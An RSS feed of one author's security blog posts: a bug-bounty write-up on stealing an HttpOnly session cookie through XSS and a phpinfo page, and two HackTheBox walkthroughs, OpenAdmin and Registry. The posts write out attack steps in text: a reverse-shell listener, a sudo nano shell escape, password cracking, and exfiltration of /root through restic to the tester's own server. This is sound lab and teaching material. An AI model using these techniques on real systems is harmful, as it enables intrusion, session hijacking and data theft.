<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Aleksi Kistauri on Medium]]></title>
        <description><![CDATA[Stories by Aleksi Kistauri on Medium]]></description>
        <link>https://medium.com/@aleksikistauri?source=rss-c0fbcc820d6d------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*7_4La9yKeyjk46TY</url>
            <title>Stories by Aleksi Kistauri on Medium</title>
            <link>https://medium.com/@aleksikistauri?source=rss-c0fbcc820d6d------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 21:01:37 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@aleksikistauri/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Bypassing HttpOnly with phpinfo file]]></title>
            <link>https://aleksikistauri.medium.com/bypassing-httponly-with-phpinfo-file-4e5a8b17129b?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/4e5a8b17129b</guid>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Tue, 28 Dec 2021 14:40:57 GMT</pubDate>
            <atom:updated>2022-01-07T17:28:32.722Z</atom:updated>
            <content:encoded><![CDATA[<p>Before I start explaining how we were able to bypass the HttpOnly flag, let&#39;s discuss what <strong>HttpOnly</strong> even is:</p><p><strong>HttpOnly</strong> is an <em>additional flag</em> included in a Set-Cookie HTTP response header. Using the <strong>HttpOnly</strong> flag when generating a cookie helps mitigate the risk of the client-side script accessing the protected cookie, If the <strong>HttpOnly</strong> flag (optional) is included in the HTTP response header, the cookie cannot be accessed through a client-side script, if the browser supports this flag. As a result, even if a cross-site scripting <strong>(XSS)</strong> flaw exists, and a user accidentally accesses a link that exploits this flaw, the browser will not reveal the cookie to a third party.</p><p>If a browser does not support <strong>HttpOnly</strong> and a website attempts to set an <strong>HttpOnly</strong> cookie, the <strong>HttpOnly</strong> flag will be ignored by the browser, thus creating a traditional, script accessible cookie. As a result, the cookie (typically your session cookie) becomes vulnerable to theft of modification by malicious script. — <a href="https://owasp.org/www-community/HttpOnly">source</a></p><p>While doing Web Application assessment with <a href="https://redsec.blog/">Higgsx</a>, We found stored <strong>Cross-Site Scripting(XSS)</strong> which was a nice finding but we could not escalate it any further because of the HttpOnly flag on the session cookie - <strong>ci_session</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pzmciTOiBQUwPzjd5zd3gw.png" /></figure><p>There are a few well-known ways to Bypass the HttpOnly flag:</p><ul><li>Stealing it if the target accepts TRACE Method, in that case, the TRACE method was enabled, but modern web browsers no longer support it by default, so exploiting it with the TRACE method was pointless.</li><li>Getting the HttpOnly cookie from the response, which does not work for us — <a href="https://www.shorebreaksecurity.com/blog/xss-exploitation-with-xhr-response-chaining/">https://www.shorebreaksecurity.com/blog/xss-exploitation-with-xhr-response-chaining/</a></li></ul><p>And after struggling for a few hours, we got a new idea...</p><h3>so, why phpinfo?</h3><p>Almost every website, which I am testing,(of course, based on <strong>PHP</strong>) has <strong>phpinfo</strong> file.</p><p>If you going to report them in a bug bounty program, you won’t get a bug bounty by only finding <strong>phpinfo</strong>, because the impact in most case scenarios is very low.</p><p>After some directory and file enumeration, we came across the <strong>info.php</strong> file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WEyKlDZ8KMkglDlaUCde-w.png" /></figure><p>The most interesting part of the phpinfo, is that it reads every cookie, even HttpOnly ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8Wh7sc9zmPNs69Px4xf7KA.png" /></figure><h3>Stealing ci_session with info.php file</h3><p>We found <strong>XSS</strong> in a name field, now we can abuse the <strong>XSS</strong> to load our JavaScript, which using <strong>XMLHttpRequest()</strong> reads <strong>info.php</strong> and sends it</p><p>We created this <strong>JS</strong> code that reads the info.php, gets the value “<strong>HTTP_COOKIE</strong>” and sends it back to our server.</p><p><strong>info.js</strong> file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4qucl8RdwSZHceXG3xbhXQ.png" /><figcaption>Gist: <a href="https://gist.github.com/ls4cfk/0deb122d4e2e24ac66cd74d3edf956bf">https://gist.github.com/ls4cfk/0deb122d4e2e24ac66cd74d3edf956bf</a></figcaption></figure><p>After creating the JavaScript file, we can inject the Payload in the last name field(it was vulnerable to our case):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nlJK4iQtEMj3Z1zEvETLqw.png" /></figure><p>Here is our request, containing<strong> info.php</strong> content(in <strong>base64</strong>)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*i8bz4mwZ4PN47Apa9ISmDQ.png" /></figure><p>And by simple decoding the base64 data, we can see that <strong>ci_session</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*q19kbUsbg7ExmGX0-2S_yQ.png" /></figure><p>After getting the <strong>ci_session</strong>, we got access to the administrator account and escalated our privileges from the user.</p><p>P.S. The JavaScript can be improved much more, feel free to contribute</p><p>P.S.2 Tomcat has examples that can be used same way</p><pre><strong>/examples/servlets/servlet/SessionExample</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*vhb1AXpVlGlLknpQ" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4e5a8b17129b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[OpenAdmin — HackTheBox]]></title>
            <link>https://aleksikistauri.medium.com/openadmin-hackthebox-46dbb31cc692?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/46dbb31cc692</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hacking]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sat, 02 May 2020 15:22:30 GMT</pubDate>
            <atom:updated>2020-05-02T15:22:30.300Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*UdA84DjcFTDiyj11_NGtPw.png" /><figcaption><a href="https://www.hackthebox.eu/home/machines/profile/222">https://www.hackthebox.eu/home/machines/profile/222</a></figcaption></figure><p>This is a write-up on how I solved OpenAdmin from HacktheBox.</p><p><a href="http://hackthebox.eu/">Hack the Box</a> is an online platform to test and advance your skills in penetration testing and cybersecurity.</p><h3>about this box:</h3><p>OpenAdmin is a relatively easy, super simple and straightforward box. Totally recommended for newbies. The user part was so funny for me, root takes about 1 minute. So, let’s get hands dirty!</p><h3>Recon:</h3><p>Use Nmap to scan the target ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*6gOM0UfVMgMy46Kq34TQTA.png" /></figure><blockquote><strong><em>nmap</em></strong><em> Network exploration tool and security / port scanner<br></em><strong><em>-sV </em></strong><em>(Version detection) <br></em><strong><em>-sC</em></strong><em> Performs a script scan using the default set of scripts.</em></blockquote><p>Only two ports are opened <strong>22</strong> and <strong>80</strong>. We have <strong>SSH</strong> on port <strong>22</strong> and default <strong>Apache2</strong> page on port <strong>80</strong>.</p><p>Nothing really interesting here, time for an enumeration.</p><blockquote>gobuster dir -u <a href="http://10.10.10.171/">http://10.10.10.171</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qV3YRy0IWeqAzfeR7KeeZA.png" /></figure><blockquote><strong>We have got 3 page</strong></blockquote><p><strong>/music</strong> and <strong>/artwork</strong> are static ones, nothing really interesting here.</p><p>Let’s check what we have on <strong>/ona</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tjTejZVjXr2_Fe_tEx2mJg.png" /></figure><p>We have OpenNetAdmin v18.1.1</p><blockquote>OpenNetAdmin is an IPAM (IP Address Management) tool to track your network attributes such as DNS names, IP addresses, Subnets, MAC addresses just to name a few. Through the use of plugins you can add extended it’s functionality.</blockquote><p>By the way, <strong>OpenNetAdmin v18.1.1</strong> is vulnerable to remote code execution.</p><blockquote><a href="https://www.exploit-db.com/exploits/47691">https://www.exploit-db.com/exploits/47691</a></blockquote><p>To run this script successfully we need to pass it URL as a first argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SBAuNdKbY8CBadvP0Z5kKw.png" /></figure><p>Great, We just got low-privilege (www-data) shell back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*yfpmuRa_h1j9GJjdGEFMrw.png" /></figure><p><strong>ONA</strong> saves database configure file in - /www/local/config/, see what we have here:</p><p>Oh, here it is. We got database configuration file with credentials on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p-yJtE4P-FeCdelXqC6W3A.png" /></figure><p>To access <strong>MySQL</strong> we need to upgrade our Shell.</p><p>Grab PHP reverse shell from Pentestermonkey —<a href="https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php"> reverse shell</a></p><p>Then, get the IP address with ifconfig tun0</p><p>After getting the IP address change IP address in the reverse shell file and finally start Python server python -m SimpleHTTPServer 80 for download the file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*lUrwIXUU-oQFutBE4egHsQ.png" /></figure><p>Grab the reverse shell on <strong>OpenAdmin</strong> via <strong>RCE</strong> script.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/844/1*XF5roOHGFv8-Z-QvVnCZGg.png" /></figure><p>To trigger the file open it via browser and get the reverse shell back. Before that, we need to set up a listener.</p><blockquote>nc -nvlp 9001</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HnMBvh9f_80DX-avkBIfxQ.png" /></figure><p>We got the shell back!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HOeQpy4UwZPAFovDHO-2ow.png" /></figure><p>We still can’t connect to the database</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Da2OWhbKUOSyiDDHqc_Exg.png" /></figure><p>Mm wait, We also have port <strong>22</strong> opened. let’s try it.</p><p>before that, grab usernames from /etc/passwd</p><p>We have 3 users: root, jimmy and joanna</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*iPC_v0ao12ApsMgO0q_u2w.png" /></figure><p>Oh, sweet! we are in but we still don’t have access to get the user flag. So, we need to access joanna’s account.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-RQYh1z3ZQWb4v8pMw1m2w.png" /></figure><p>Remember useless static web pages? (/music and /artwork) where they are?</p><p>We can easily find it with the find command</p><blockquote>find / -type d -name artwork 2&gt;/dev/null</blockquote><p>Bingo, they are located in /var/www/ instead of /opt/ where ona is located.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*fT0HsFXO6DvcnE3T2TMO5w.png" /></figure><p><strong>In /var/www/ we have 3 directory</strong></p><blockquote><strong>html — </strong>where static pages are located</blockquote><blockquote><strong>internal —</strong> it seems very interesting…</blockquote><blockquote><strong>ona — </strong>Which is Symbolic link of /opt/ona/www</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/680/1*zsfiJ_oQVh5q1bjkolCUWA.png" /></figure><h3>Checkout internal</h3><p>index.php is login page which checks username and password</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zkXcaepAwYjxxhFotHaO1w.png" /></figure><p>So, we have a username jimmy and we want the password. Good for us, it is an easy password so, we can crack it with online service.</p><blockquote><strong>and we got password</strong></blockquote><blockquote>jimmy:Revealed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JL8viKC26Dv_MUqAuDdXvQ.png" /></figure><p>The main.php file checks if we are authorized and gives us a private key of the joanna user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/968/1*we1BZw6oRBaElp-S9mENIQ.png" /></figure><p>We can’t access it by typically going to <a href="http://10.10.10.171/index.php">http://10.10.10.171/index.php</a>/ because it is running locally!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5IhgfHKMvXdwQH8TSu1DNg.png" /></figure><p>We have it on port 52846</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*1nOqQZkvoUjDkpsVxJgDRw.png" /></figure><p>To access it we need <a href="https://www.bitvise.com/port-forwarding">port forwarding</a> via SSH.</p><blockquote>ssh -L 52846:127.0.0.1:52846 jimmy@10.10.10.171</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Bmi_hegFUbtxVUgLTByX6Q.png" /></figure><p>After port forwarding, We can simply access it via our browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dVTM328zyVgOSVRjsFuDNg.png" /></figure><h3>Let’s log in and grab the private key</h3><blockquote>jimmy:Revealed</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*lLv6V35BWWXCgyP_Wftakg.png" /></figure><p>We got it!</p><p>Now, we can SSH via joanna&#39;s user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/795/1*2kk1k9FCP12AMO0HIgQEIQ.png" /></figure><p><strong>Oh crap, it needs passphrase.</strong></p><p>ninja is not the password, it should be something similar. with the ‘ninja’ text.</p><p>Before cracking it with john, grep only the passwords which contains ninja.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oT7ptSOQagA-CKHScJc2yg.png" /></figure><p>John needs a crackable format. Convert it with ssh2john</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7i4D72Be2PgZhAR_uC877g.png" /></figure><h3>And, crack it!</h3><p>Sweet! It just cracked it in seconds</p><blockquote>joanna ssh pasphrase:bloodninjas</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8YZehon4ZOzzXJk3OAIHJA.png" /></figure><p>We have the passphrase, now we can log in as a joanna user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XfA-9VMLLahoB3VQkY5S7Q.png" /></figure><p>Check what we can run as root by simply typing sudo -l</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t43MfE9aDlf7toOOEJ2T0g.png" /></figure><p>Oh man, It ruined the fun for me :(</p><p>Check <a href="https://gtfobins.github.io/gtfobins/nano/#sudo">gtfobins</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-Bf3tzQ8sWaHwsVxn73J-Q.png" /></figure><p>We can easily execute system commands</p><pre>^R^X<br>ctrl + R and ctrl + X</pre><pre>reset; bash 1&gt;&amp;0 2&gt;&amp;0</pre><p>And we are root in 10 seconds!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*62CqfJW9s-S7xxPcReZfzA.png" /></figure><p>I hope you enjoyed, follow me for future posts.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=46dbb31cc692" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Registry — HackTheBox]]></title>
            <link>https://aleksikistauri.medium.com/registry-hackthebox-72c4c8244f5e?source=rss-c0fbcc820d6d------2</link>
            <guid isPermaLink="false">https://medium.com/p/72c4c8244f5e</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[hackthebox-writeup]]></category>
            <category><![CDATA[docker-registry]]></category>
            <category><![CDATA[writeup]]></category>
            <dc:creator><![CDATA[Aleksi Kistauri]]></dc:creator>
            <pubDate>Sat, 04 Apr 2020 15:05:42 GMT</pubDate>
            <atom:updated>2020-04-05T21:26:20.645Z</atom:updated>
            <content:encoded><![CDATA[<h3>Registry — HackTheBox</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nBNCFhbzdQbRGW2swIUIkQ.png" /></figure><p>This is a write-up on how I solved <strong>Registry</strong> from <strong>HackTheBox</strong>.</p><p><a href="http://hackthebox.eu/"><strong>Hack the Box</strong></a> is an online platform to test and advance your skills in penetration testing and cybersecurity.</p><h3>About this box:</h3><p>One of my favorite boxes from <a href="https://hackthebox.eu/"><strong>HackTheBox</strong></a>, very real-world applicable. There are lots of steps, but it’s very straightforward and you probably have already found your next step before you know how to use it, we will see a lot of common mistakes.</p><p>Actually, Registry was my first Hard level box.</p><h3>Recon:</h3><p>Use Nmap to scan the target ports:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YA6AgjoKCRFup3LStnjhnw.png" /><figcaption><a href="https://gist.github.com/ls4cfk/b3757e015c520b98f49bbf9555cdaea7#file-nmap-txt">https://gist.github.com/ls4cfk/b3757e015c520b98f49bbf9555cdaea7#file-nmap-txt</a></figcaption></figure><blockquote><strong>nmap</strong> Network exploration tool and security / port scanner<br><strong>-sV </strong>(Version detection) <br><strong>-sC</strong> Performs a script scan using the default set of scripts.<br><strong>-oA</strong> for output</blockquote><p>Only three ports are opened 22, 80 and 443. With the Nmap scan, We also got virtual host from SSL-cert subject—<strong> docker.registry.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rgrQh39EXx4ih7DhksiePQ.png" /></figure><p>Let&#39;s start with port <strong>80</strong>, we have default Nginx welcome page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KT6JOPvjbfRY3deOHEjDTA.png" /></figure><p>The same thing on Port <strong>443</strong>, default Ngnix page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iKN5HKJEDTaVr1_2sy3M_g.png" /></figure><p>Okay, let’s see what we got on <strong>docker.registry.htb</strong></p><p>We can access it via adding it to<strong>/etc/hosts</strong> file, open it with your favorite text editor and add the virtual host.</p><pre>sudo vim /etc/hosts</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*of6XM2S6OL4jbxtk8jkMtg.png" /></figure><p>We have a blank page on<strong>Docker.registry.htb</strong></p><blockquote><strong>Spoiler alert</strong></blockquote><blockquote>A <strong>registry</strong> is a storage and content delivery system, holding named <strong>Docker images</strong>, available in different tagged versions.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZIe_OJVBWsUb2zucJE87zg.png" /></figure><h3>Enumeration</h3><p>Enumerate both — <strong>10.10.10.159</strong> and <strong>docker.registry.htb</strong></p><p>We can use <strong>Gobuster</strong> for directory enumeration.</p><pre><strong>$ </strong>gobuster dir -u <a href="http://10.10.10.159/">http://10.10.10.159/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o ip-enum -t 20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s7ugZfv0IJ8lgKELbnCelw.png" /></figure><pre><strong>$</strong> gobuster dir -u <a href="http://docker.registry.htb/">http://docker.registry.htb/</a> -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o vhost-enum -t 20</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0X9nKPN5rWxcHcEKH8sHeg.png" /></figure><p>So far, so good we have a <strong>bolt</strong> directory on <strong>10.10.10.159</strong> and <strong>v2</strong> directory on <strong>docker.registry.htb</strong> — let’s check them.</p><p>Browse to<a href="http://10.10.10.159/bolt"><strong>http://10.10.10.159/bolt</strong></a> which contains the official website information of bolt (<strong>CMS</strong> website)</p><p>We have here default page of bolt cms, we can run Gobuster for directory enumeration in the background and move on to the <strong>docker.registry.htb</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2ENvk_xI5LyNftZB-zBsuQ.png" /></figure><p>Oh, authorization is required ondocker.registry.htb</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BNsPZ5XMC_9d0rK4HZjjHw.png" /><figcaption><strong>docker.registry.htb/v2</strong></figcaption></figure><p>If we try weak credentials such as admin:admin — It works perfectly</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YY3cufytD6GN0Ff67e3DcA.png" /><figcaption><strong>admin:admin</strong></figcaption></figure><p>Okay, we are in.</p><blockquote>A <strong>registry</strong> is a storage and content delivery system, holding named Docker images. — <a href="https://docs.docker.com/registry/introduction/">https://docs.docker.com/registry/introduction/</a></blockquote><p>Visit <strong>docker.registry.htb/v2/_catalog</strong> to view the mirror information under this repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dbyyaq92yvjRqle8xXVIyQ.png" /></figure><p>Found that the warehouse has a mirror called <strong>bolt-image</strong>. There should be a breach in the image.<br>The next step is to pull the image.</p><p>We need to install docker and make some change in configuration (Because of no SSL certificate)</p><pre><strong>Docker installation</strong></pre><pre><br><strong>$</strong> curl -fsSL <a href="https://download.docker.com/linux/$(.">https://download.docker.com/linux/debian</a>/gpg | sudo apt-key add -</pre><pre><strong>$</strong> echo &#39;deb [arch=amd64] <a href="https://download.docker.com/linux/debian">https://download.docker.com/linux/debian</a> buster stable&#39; | sudo tee /etc/apt/sources.list.d/docker.list</pre><pre><strong>$</strong> sudo apt-get update</pre><pre><strong>$ </strong>sudo apt-get install docker-ce</pre><p>We have docker, the next step is to make docker accept an insecure connection.</p><pre>{ <br> “insecure-registries”:[“docker.registry.htb:443”] <br>}</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V-zLzuGIYt0deLxYjOM4eA.png" /></figure><pre><em>sudo docker login docker.registry.htb:443</em></pre><p>Login succeeded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nlG-lVIuJyU5F55komuJuQ.png" /></figure><p>The next step is to pull the latest docker image.</p><pre><em>sudo docker pull docker.registry.htb:443/bolt-image:latest</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XVV6Gv19sZ2oS3kcJqd1ig.png" /></figure><p>Now run the docker image to access the content inside of the container.</p><pre><em>sudo docker run -it docker.registry.htb:443/bolt-image:latest</em></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wvO2ydXL9mG71g88oBFrQA.png" /></figure><h3>Get the user</h3><p>We have an SSH private key that is protected by a passphrase.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sMX_nP8Io6UdYRGoDLcdrg.png" /></figure><p>After some digging, we have the passphrase in <strong>/etc/profile.d/01-ssh.sh</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2wkciRHLPUFdiQM_nmYPZw.png" /><figcaption>GkOcz221Ftb3ugog</figcaption></figure><p>Let’s login with SSH</p><pre><strong>$</strong> chmod 600 id_rsa</pre><pre><strong>$</strong> ssh -i id_rsa bolt@10.10.10.159</pre><p>And we can submit user hash for 20 points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4Qv8HYd3CczE0qa2_GhcKQ.png" /></figure><h3>Get www-data user</h3><p>Remember bolt? We have it in <strong>/var/www/html/</strong></p><p>In that directory, we also have script <strong>backup.php</strong> script which is owned by the <strong>root</strong> user. This script seems to be interesting but we don’t have permission to change or execute it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mVlrxCuXPteUnVvWVuBa5w.png" /></figure><p>Every <strong>CMS</strong> has database files.</p><p>After some searching, we can find the database file</p><pre>/var/www/html/bolt/app/database</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_6YhkieQ5yJm39O49zx9vg.png" /></figure><p>Download it with <strong>scp</strong> and check what we have</p><pre><strong>$ </strong>scp -i id_rsa bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./</pre><p>We can use <strong>sqlite3</strong> to get information from the database file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZtwaAbclAwORRVNzGrVbtw.png" /></figure><p>Grab password and crack it with John</p><pre><strong>$</strong> john --wordlist=/usr/share/wordlists/rockyou.txt bolt_db_hash</pre><p>And we have the password <strong>admin:strawberry</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IUh2DDiJrwZFXyhNDVcRow.png" /></figure><p>Remember our scan which we left in the background?</p><p>It found/bolt/bolt directory which is a login page for bolt cms.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*JEizFnFtrBeWhWr_HsWePw.png" /></figure><p>We can log in with the credentials admin:strawberry</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8U6hKTruBIi9GgrsGPNTbQ.png" /></figure><h3>Get www-data shell</h3><p>We can’t just upload the PHP file because it is restricted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W9oInOem0vM6Giq1fYxp-Q.png" /></figure><p>We can’t get a reverse shell, because it is blocked with some kind of firewall. Let’s do it with bind shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2Jh_H2j2_6kx5VDvSJQkBg.png" /></figure><p>From the research, we know that we can add <strong>.PHP</strong> extension to the configuration file and bypass the <strong>PHP</strong> upload restriction.</p><p><a href="https://fgsec.net/from-csrf-to-rce-bolt-cms/">Bolt CMS 3.6.6 exploit</a></p><p>Add the <strong>PHP</strong> extension in config.yml and upload the shell again</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pogwzcZVJGgTwAkPoSDUxA.png" /></figure><p>It worked, we have our <strong>PHP bind</strong> shell on it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hhq1acoy4uTCcTEQ5G3J2g.png" /></figure><p>Open the URL to trigger the shell and connect it with NC.</p><blockquote><strong>rlwrap</strong> — is a very handy tool, it let us use arrow keys</blockquote><blockquote><a href="https://linux.die.net/man/1/rlwrap">https://linux.die.net/man/1/rlwrap</a></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*aqYoJ_t-EaNy-teSu8LTQQ.png" /></figure><p>Okay, We have <strong>www-data</strong> shell and we can run/usr/bin/restic backup -r test* -command with root privilege.</p><p>BUT what we can with it?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dOzd1eGBwjY_ddP51gc3CA.png" /></figure><p>Restic is software that does backups <strong>¯\_(ツ)_/¯</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r4ixrDGDG2QRquV-G5_jRg.png" /></figure><p>After understanding some basic operations, the <strong>restic</strong> is not difficult. First, we need to install the <strong>restic</strong> and REST server locally.</p><pre>sudo apt install restic</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XgCtszHlyCEBCMSiPqZWtg.png" /></figure><p>Then, set up a backup repository.</p><pre>restic init --repo <strong>/tmp/registry_bak</strong></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u-ltJWRFjc_C800ty1wQFA.png" /></figure><p>Install <strong>rest-server</strong> and run it</p><blockquote>Before you try to install it make sure that your box has go language version &gt; 1.7 <br><a href="https://github.com/restic/rest-server.git">https://github.com/restic/rest-server.gi</a></blockquote><pre>rest-server --path /tmp/registry_bak --no-auth --listen 0.0.0.0:8002</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8AVbpjHLkgmFiTGx-JiP9g.png" /></figure><p>Then we need to run the <strong>backup</strong> command with the <strong>www-data </strong>user.</p><p>Because the target server appears to have some kind of firewall, it is not possible to connect to the external server. So in order to back up the data locally, we need SSH Remote port forwarding.</p><pre>ssh -i id_rsa -R 8002:127.0.0.1:8002 bolt@10.10.10.159</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*P5RvaaLEjMhQ0jCRQTNJFg.png" /></figure><p>Create a file that contains the password, and backup the <strong>/root</strong> directory.</p><blockquote>From the root directory, we can grab<strong> root.txt</strong> and <strong>ssh</strong> private key</blockquote><pre><strong>$</strong> sudo /usr/bin/restic backup -r rest:<a href="http://127.0.0.1:8002/">http://127.0.0.1:8002/</a> /root/ -p pass</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UtmP4pem3OfpXBFEwu8mbg.png" /></figure><p>Backup is done!</p><p>Now Restore backup and read <strong>root.txt</strong></p><pre><strong>$</strong> restic -r /tmp/registry_bak/ restore latest --target ./registry_restored</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fl5opKgW0U_sn87nIM-N2Q.png" /></figure><p>Or grab the id_rsa and ssh with the <strong>root</strong> user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ZKuWQsCN_ExXsEh7069eAQ.png" /></figure><p>I hope you enjoyed, follow me for future posts.</p><p><strong>Twitter</strong> — <a href="https://twitter.com/ls4cfk">https://twitter.com/ls4cfk</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2VZ6KDELnPoyYpFbZZE2LA.png" /><figcaption><a href="https://www.hackthebox.eu/profile/94787"><strong>https://www.hackthebox.eu/profile/94787</strong></a></figcaption></figure><img 